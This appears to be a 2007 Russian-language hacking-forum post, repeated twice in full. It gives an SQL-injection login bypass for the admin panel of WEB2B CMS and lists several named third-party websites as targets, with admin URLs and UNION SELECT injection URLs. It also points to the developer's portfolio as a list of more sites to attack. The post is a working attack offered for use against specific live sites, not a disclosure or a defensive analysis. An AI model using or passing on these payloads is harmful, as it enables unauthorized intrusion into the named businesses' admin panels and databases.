ice1k
20.01.2007, 12:01
Вообщем так.
http://web2b.ru - офф. сайт конторы, разрабатывающей сайты и авторы своего двига WEB2B CMS...
Вообщем входим в админку практически всех сайтов этого двига:
/admin/
login:asd' or 1=1/*
password: asdasd
На некоторых правда в админке "сидит" .htacces =\
Но даже если так, то по-крайней мере на многих их сайтах есть sql-inj =\
Вот примеры "таких" сайтов:
http://www.rustransavto.ru/admin
http://www.blockmarine.ru/admin
http://www.sundesignlux.ru/admin
http://www.kupi-cupe.ru/admin
http://www.imid.ru/news/?lang=rus&id=-99'+union+select+1,2,3,4,5,6,7/*
http://www.promastanok.ru/mod/catalog/detail.php?id=-99'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15/*
Портфолио ака все сайты конторы:
http://web2b.ru/works.htm
http://web2b.ru - офф. сайт конторы, разрабатывающей сайты и авторы своего двига WEB2B CMS...
Вообщем входим в админку практически всех сайтов этого двига:
/admin/
login:asd' or 1=1/*
password: asdasd
На некоторых правда в админке "сидит" .htacces =\
Но даже если так, то по-крайней мере на многих их сайтах есть sql-inj =\
Вот примеры "таких" сайтов:
http://www.rustransavto.ru/admin
http://www.blockmarine.ru/admin
http://www.sundesignlux.ru/admin
http://www.kupi-cupe.ru/admin
http://www.imid.ru/news/?lang=rus&id=-99'+union+select+1,2,3,4,5,6,7/*
http://www.promastanok.ru/mod/catalog/detail.php?id=-99'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15/*
Портфолио ака все сайты конторы:
http://web2b.ru/works.htm